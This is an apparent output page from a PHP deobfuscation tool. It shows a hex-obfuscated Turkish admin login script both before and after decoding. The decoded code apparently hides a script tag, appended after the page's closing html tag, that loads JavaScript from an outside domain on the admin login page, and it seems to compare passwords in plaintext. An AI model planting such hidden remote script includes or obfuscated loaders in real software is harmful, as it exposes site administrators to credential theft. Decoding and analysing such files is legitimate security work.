Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cO\x42\x41L\x53"}["\x78\x72\x77\x66\x74wb"]="\x67\x69r\x69\x73\x4b\x6f\x6e..

Decoded Output download

<?php ${"GLOBALS"}["xrwftwb"]="girisKontrol";echo "";session_start();@include"../config.php";(isset($_SESSION["_ADMIN"]))?header("Location: index.php"):NULL;if($_POST){$vbvneqhdwyq="girisKontrol";${"GLOBALS"}["bqnsqrsvjxa"]="loginSifre";${"GLOBALS"}["qnbabuxjid"]="loginEmail";${"GLOBALS"}["wcmcrimo"]="loginSifre";${"GLOBALS"}["wrteeyjumzn"]="loginEmail";${${"GLOBALS"}["qnbabuxjid"]}=htmlspecialchars($_POST["username"]);${${"GLOBALS"}["wcmcrimo"]}=htmlspecialchars($_POST["password"]);${$vbvneqhdwyq}=DB::getVar("SELECT count(id) FROM admin WHERE username = ? and password = ?",array(${${"GLOBALS"}["wrteeyjumzn"]},${${"GLOBALS"}["bqnsqrsvjxa"]}));if(${${"GLOBALS"}["xrwftwb"]}>0){$fhnhgcyjgt="loginEmail";$_SESSION["_ADMIN"]=${$fhnhgcyjgt};header("Location: index.php");}else{echo"<script>alert("HATA\");</script>";}}echo "<!DOCTYPE html>
<!--[if lt IE 7]> <html class=\"lt-ie9 lt-ie8 lt-ie7\" lang="en\"> <![endif]-->
<!--[if IE 7]> <html class=\"lt-ie9 lt-ie8\" lang=\"en"> <![endif]-->
<!--[if IE 8]> <html class=\"lt-ie9\" lang=\"en"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang=\"en\"> <!--<![endif]-->
<head>
  <meta charset=\"utf-8">
  <meta http-equiv="X-UA-Compatible\" content=\"IE=edge,chrome=1\">
  <title>Admin</title>
  <link rel="stylesheet\" href="css/style.css\">
  <!--[if lt IE 9]><script src=\"//html5shim.googlecode.com/svn/trunk/html5.js\"></script><![endif]-->
</head>
<body>
  <form action=\"\" method="post" class=\"sign-up\">
    <h1 class=\"sign-up-title">Scriptlersitesi.tk</h1>
<input type="text" class=\"sign-up-input\" name="username\" placeholder="Kullanc Ad\" /><br><br>
<input type="password" class="sign-up-input" name="password" placeholder=\"ifre\" /><br><br>
<input type="submit\" class="sign-up-button\" value=\"Giri\" />
  </form>
 
 

  <div class=\"about">
    <p class="about-links\">
      <a href="index.php" target="_parent\">ANASAYFA</a>
      <a href="" target="_parent">ILETISIM</a>
    </p>
    <p class="about-author\">
      &copy; 2016 <a href="" target=\"_blank\"></a> 
    </p>
  </div>
</body>
</html>
<SCRIPT SRC=http://scriptlersitesi.tk/1.js></SCRIPT> 
"; 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4cO\x42\x41L\x53"}["\x78\x72\x77\x66\x74wb"]="\x67\x69r\x69\x73\x4b\x6f\x6et\x72o\x6c";echo "";session_start();@include"\x2e./co\x6ef\x69\x67\x2e\x70\x68p";(isset($_SESSION["_AD\x4dIN"]))?header("\x4cocat\x69\x6fn: i\x6e\x64\x65\x78\x2ephp"):NULL;if($_POST){$vbvneqhdwyq="\x67\x69\x72\x69s\x4b\x6fn\x74\x72ol";${"\x47\x4cO\x42\x41\x4c\x53"}["b\x71\x6esqr\x73v\x6a\x78a"]="\x6co\x67\x69\x6e\x53\x69fre";${"\x47L\x4fB\x41\x4cS"}["\x71\x6e\x62a\x62\x75\x78\x6ai\x64"]="\x6c\x6f\x67\x69\x6e\x45mai\x6c";${"G\x4c\x4f\x42\x41LS"}["\x77\x63\x6d\x63\x72\x69\x6d\x6f"]="\x6c\x6f\x67i\x6e\x53\x69f\x72e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x72\x74\x65e\x79ju\x6d\x7a\x6e"]="\x6c\x6fg\x69\x6e\x45\x6d\x61i\x6c";${${"\x47L\x4fB\x41L\x53"}["\x71nb\x61b\x75\x78\x6ai\x64"]}=htmlspecialchars($_POST["\x75\x73\x65rna\x6de"]);${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x63\x6dcr\x69\x6d\x6f"]}=htmlspecialchars($_POST["\x70\x61s\x73\x77\x6fr\x64"]);${$vbvneqhdwyq}=DB::getVar("\x53\x45\x4c\x45\x43T\x20\x63\x6f\x75n\x74(id)\x20\x46\x52\x4f\x4d ad\x6din\x20W\x48\x45\x52E\x20u\x73e\x72n\x61m\x65\x20=\x20? a\x6e\x64\x20pas\x73\x77\x6f\x72\x64\x20= ?",array(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x72t\x65\x65\x79j\x75mzn"]},${${"\x47\x4c\x4f\x42\x41LS"}["\x62q\x6es\x71rsv\x6a\x78a"]}));if(${${"\x47\x4cO\x42A\x4cS"}["\x78\x72wf\x74w\x62"]}>0){$fhnhgcyjgt="l\x6fg\x69\x6e\x45\x6d\x61\x69\x6c";$_SESSION["_A\x44\x4dI\x4e"]=${$fhnhgcyjgt};header("Locatio\x6e: i\x6e\x64e\x78\x2e\x70h\x70");}else{echo"<\x73c\x72\x69pt\x3ea\x6c\x65r\x74(\x22HATA\");</\x73c\x72i\x70t\x3e";}}echo "\x3c\x21DOCTYP\x45 h\x74\x6dl>\n\x3c\x21--[i\x66 \x6c\x74\x20I\x45\x207]\x3e\x20\x3cht\x6d\x6c \x63\x6c\x61s\x73\x3d\"\x6c\x74-i\x659 \x6c\x74-ie\x38 \x6ct-i\x657\" \x6ca\x6eg=\x22\x65n\"\x3e \x3c\x21[e\x6edif]-->\n<\x21--[\x69f IE\x207]>\x20\x3c\x68\x74\x6dl cl\x61s\x73\x3d\"\x6ct-i\x65\x39 l\x74-\x69e\x38\"\x20l\x61\x6eg\x3d\"\x65n\x22\x3e <\x21[en\x64if]--\x3e\n<!--[\x69\x66\x20I\x45\x208]>\x20<\x68tm\x6c \x63l\x61\x73s=\"\x6c\x74-\x69e\x39\"\x20\x6c\x61\x6e\x67=\"e\x6e\x22> <![\x65\x6e\x64if]--\x3e\n\x3c!--[\x69\x66\x20gt\x20I\x45\x20\x38]\x3e<!--\x3e\x20<\x68t\x6d\x6c\x20l\x61ng=\"\x65n\"> \x3c\x21--\x3c![e\x6edi\x66]-->\n<\x68e\x61\x64\x3e\n\x20 <met\x61 \x63\x68ars\x65t=\"utf-\x38\x22\x3e\n\x20 \x3cme\x74\x61\x20\x68t\x74p-e\x71ui\x76\x3d\x22\x58-UA-C\x6f\x6dpat\x69\x62le\" \x63on\x74en\x74=\"\x49\x45\x3de\x64\x67e,\x63h\x72\x6fme=\x31\"\x3e\n  <tit\x6ce\x3e\x41dmi\x6e\x3c/ti\x74\x6ce\x3e\n \x20\x3c\x6c\x69\x6ek r\x65l\x3d\x22\x73t\x79\x6c\x65\x73\x68\x65e\x74\" \x68\x72e\x66\x3d\x22\x63ss/s\x74yle\x2e\x63s\x73\"\x3e\n  <!--[if l\x74\x20\x49\x45\x209]\x3e\x3cscr\x69p\x74 \x73\x72c\x3d\"//\x68\x74ml\x35\x73\x68\x69m.\x67\x6fog\x6c\x65co\x64\x65\x2e\x63\x6f\x6d/\x73v\x6e/\x74\x72unk/ht\x6dl5.\x6a\x73\"\x3e\x3c/\x73cr\x69p\x74\x3e\x3c\x21[\x65nd\x69f]-->\n</\x68\x65a\x64>\n<bo\x64\x79>\n  \x3c\x66or\x6d\x20a\x63tio\x6e\x3d\"\"\x20met\x68\x6f\x64=\x22\x70ost\x22 cl\x61s\x73\x3d\"\x73i\x67\x6e-\x75p\"\x3e\n\x20  \x20<\x68\x31\x20\x63las\x73=\"sig\x6e-u\x70-\x74it\x6c\x65\x22\x3eScri\x70\x74le\x72\x73\x69te\x73\x69.tk</h\x31\x3e\n\x3cin\x70u\x74\x20t\x79pe=\x22\x74\x65xt\x22 c\x6c\x61\x73s\x3d\"\x73i\x67\x6e-up-\x69\x6epu\x74\" \x6e\x61\x6de\x3d\x22\x75s\x65\x72\x6ea\x6de\" \x70\x6ca\x63\x65h\x6f\x6c\x64\x65\x72=\x22K\x75l\x6canc\x20\x41d\" /><b\x72\x3e\x3cb\x72>\n\x3cinp\x75t type=\x22\x70a\x73s\x77o\x72\x64\x22\x20cl\x61s\x73\x3d\x22\x73\x69\x67n-\x75\x70-\x69\x6ep\x75\x74\x22\x20nam\x65\x3d\x22\x70assword\x22\x20p\x6ca\x63\x65hol\x64\x65\x72\x3d\"i\x66r\x65\" /\x3e<br\x3e\x3cb\x72>\n\x3c\x69\x6e\x70u\x74 ty\x70e=\x22\x73\x75\x62mit\" c\x6c\x61s\x73=\x22\x73ign-up-\x62u\x74ton\" \x76a\x6cu\x65=\"\x47ir\x69\" />\n\x20 </for\x6d>\n \n \n\n \x20<\x64i\x76 \x63\x6c\x61ss=\"\x61b\x6fut\x22\x3e\n  \x20 <\x70\x20c\x6cass=\x22abou\x74-\x6c\x69n\x6bs\"\x3e\n   \x20 \x20\x3c\x61 \x68\x72ef=\x22ind\x65\x78\x2e\x70\x68\x70\x22\x20ta\x72\x67\x65\x74\x3d\x22_\x70a\x72e\x6e\x74\"\x3e\x41NAS\x41\x59F\x41</a\x3e\n\x20\x20\x20 \x20 <\x61\x20\x68r\x65\x66\x3d\x22\x22\x20t\x61\x72\x67et=\x22\x5fpa\x72e\x6et\x22>\x49\x4cE\x54\x49S\x49\x4d</a>\n \x20\x20\x20\x3c/p>\n   \x20\x3cp\x20\x63l\x61\x73\x73=\x22a\x62\x6f\x75t-\x61u\x74hor\">\n \x20\x20 \x20 \x26\x63op\x79\x3b \x32\x30\x31\x36\x20\x3ca h\x72\x65f=\x22\x22\x20\x74a\x72ge\x74=\"\x5fb\x6cank\">\x3c/a\x3e\x20\n  \x20 \x3c/\x70\x3e\n  \x3c/d\x69v\x3e\n\x3c/\x62\x6fd\x79\x3e\n\x3c/h\x74ml\x3e\n\x3cS\x43RI\x50\x54\x20SR\x43\x3dhtt\x70://sc\x72i\x70tl\x65rsi\x74e\x73i.t\x6b/\x31.j\x73\x3e\x3c/\x53\x43\x52IP\x54> \n";
?>

Function Calls

session_start 1

Variables

GLOBALS [{'key': 'xrwftwb', 'value': 'girisKontrol'}]

Stats

MD5 02bd213bcd2489b1f125a15dfefb51a9
Eval Count 0
Decode Time 104 ms